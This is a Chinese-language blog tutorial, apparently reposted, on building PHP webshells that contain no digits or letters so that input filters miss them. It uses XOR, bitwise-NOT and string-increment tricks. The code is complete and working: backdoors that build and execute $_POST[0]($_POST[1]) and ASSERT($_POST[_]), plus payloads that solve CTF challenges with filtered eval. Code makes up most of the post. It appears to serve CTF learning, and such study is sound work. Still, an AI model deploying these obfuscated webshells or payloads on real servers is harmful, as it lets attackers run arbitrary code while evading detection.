不含数字的webshell绕过

这篇具有很好参考价值的文章主要介绍了不含数字的webshell绕过。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

异或操作原理

1.首先我们得了解一下异或操作的原理

在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1

举个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是 0110 0000

上下一一对应(相同)为0,不同为1,异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是 ! 了

<?php
    echo "A"^"`";
?>

不含数字的webshell绕过,webshell,PHP,绕过

 不含数字的webshell绕过,webshell,PHP,绕过

 

2.我们要利用的不只是异或操作,还有PHP的特性——弱类型语言

在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理

例如以下案例

不含数字的webshell绕过,webshell,PHP,绕过

不含数字的webshell绕过,webshell,PHP,绕过

简单分析

1.$_  没赋值为null 等价于false等价于0,0++也就是1

就此我们完成了不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2.$__ = "?" ^ "}",安装ASCii表的运算结果为B

3.直接B()来执行B函数

 eval解析

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的

<?php
function eval_1($str)
{
   eval($str);
}

$a='eval_1';
$a('phpinfo()');
?> 

绕过方法一:非数字字母的PHP后门

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

通过异或的方法将非数字和字母的字符转化为需要的字符并通过.=追加拼接,最后形成

$_POST[0]($_POST[1])

我们可以下载一下firefox的hackbar扩展

并输入内容来请求

不含数字的webshell绕过,webshell,PHP,绕过

 输入参数为0=eval&1=phpinfo();通过$_POST[0]($_POST[1])之后

就成为为eval(phpinfo();)

尝试执行,执行失败

不含数字的webshell绕过,webshell,PHP,绕过

这里就可以引入另外一个知识点了,请翻阅上面的eval解析

 

一个异或绕过的例子

题目

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

该例子过滤掉了数字字母

并且include了一个flag.php文件

不含数字的webshell绕过,webshell,PHP,绕过

 解决方案1——异或

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"^"?<>/"异或完之后是_GET,定义了一个变量_GET

${$_}[_]();最终得到值$_GET[_]();

&_=getFlag 将getFlag赋值给_

最终整个表达式变成

$_GET[_]()——>getFlag()

不含数字的webshell绕过,webshell,PHP,绕过

 

解决方法2——取反

?code=_=~%98%9A%8B%B9%93%9E%98;_();

绕过方法二:取反

对于题目

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

异或方法绕过

<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); assert($_POST[_]);

换成取反绕过

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

绕过方法三:利用PHP语法绕过

原理

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

不含数字的webshell绕过,webshell,PHP,绕过

 再取这个字符串的第一个字母,就可以获得'A'了。

通过这种方式来获得ASSERT($_POST[_]);文章来源地址https://www.toymoban.com/news/detail-662452.html

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

到了这里,关于不含数字的webshell绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Webshell免杀-PHP

            在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对

    2023年04月25日
    浏览(55)
  • 二进制加密PHP Webshell原理及简单实现

    今天继续给大家介绍渗透测试相关知识,本文主要内容是二进制加密PHP Webshell原理及简单实现。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透测试! 为了躲避WAF、杀软

    2023年04月09日
    浏览(42)
  • php_webshell免杀--从0改造你的AntSword

    为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造一些弱特征,通过流量转换,跳过密钥交互。 但是,冰蝎需要反编译去改造源码,再进行修复bug,也比较复杂。而AntSword相对于冰蝎来说,不限制webshell,即一句话也可以进行连接,还可以自定

    2024年02月11日
    浏览(43)
  • 如何构造不包含字母和数字的webshell

    利用不含字母与数字进行绕过 1.异或进行绕过  2.取反进行绕过  3.利用php语法绕过 基本代码运行思路理解  ?php     echo \\\"A\\\"^\\\"`\\\"; ? 运行结果为! 我们可以看到,输出的结果是字符\\\"!\\\"。之所以会得到这样的结果,是因为代码中对字符\\\"A\\\"和字符\\\"`\\\"进行了异或操作。在PHP中,两个变量

    2024年02月12日
    浏览(28)
  • PHP之Base64+php://filter绕过、disabled_function绕过

    目录 一、Base64+php://filter绕过 1.思路分析  2.实践验证 二、disabled_function绕过 上课讲了这样一道题,一起来看下(以下代码适用于PHP7.x及以上,5的版本会报错) 前端就是一个上传标签,没啥可看的 题目要求只能上传php文件,上传普通的一句话肯定不行,直接被过滤掉 普通Webs

    2024年02月12日
    浏览(41)
  • 免费简单好用的 webshell 在线检测:支持 php、jsp、asp等多格式文件

    话不多说,直接上图上链接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 还是比较好用的,支持 PHP、JSP 文件 webshell 检测,看官方解释文档,引擎使用静态文本特征、骨架哈希、静态语义分析、动态污点追踪、动态插桩内存等检测技术,听起来比较高级。 也提供 API 接

    2024年02月02日
    浏览(49)
  • PHP特性之CTF中常见的PHP绕过

    目录 一、关于md5()和sha1()的常见绕过 1、使用数组绕过 2、 使用特殊字符串绕过 二、strcmp绕过 三、switch绕过 四、intval绕过 人工智能 https://www.captainbed.cn/myon/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   正文开始   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 知识介绍: 1、对于php强比较和弱比较:md5(),sha1()函

    2024年02月07日
    浏览(40)
  • php弱类型相等漏洞绕过

    长度一致性 :任意长度的数据,计算出来的哈希值长度都是固定的128位。 不对称性: 从原数据计算哈希值十分容易,但是知道哈希值去碰撞原数据十分困难。 PHP中有两个相等操作符“==”和“===”。$a == $b,如果类型转换后$a和$b相等,则输出true。$a === $b,如果$a和$b相等,

    2023年04月26日
    浏览(58)
  • PHP CTF常见考题的绕过技巧

    目录 1.==绕过 2.===绕过 3.intval()函数 4.strpos()函数  5.in_array()函数  6.preg_match()函数  7.str_replace函数 1.==绕过 PHP比较运算符 ==在进行比较的时候是弱类型比较,只需要比较两个值相等就行,不会比较类型 绕过方法如:1=1.0,1=+1、 $a=1; if($a==$_GET[\\\'x\\\']){     echo $flag; } //使用1.0就可以

    2024年02月07日
    浏览(54)
  • PHP反序列化漏洞-魔术方法绕过

    一、__wakeup()魔法函数绕过: 在PHP中,__wakeup()是一个魔术方法,用于在反序列化对象时自动调用。 当反序列化字符串中的对象属性个数大于实际属性个数时 ,可以利用这个漏洞进行绕过。 触发条件: PHP版本为5.6.25或早期版本,或者PHP7版本小于7.0.10。 反序列化字符串中的对

    2024年01月18日
    浏览(53)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包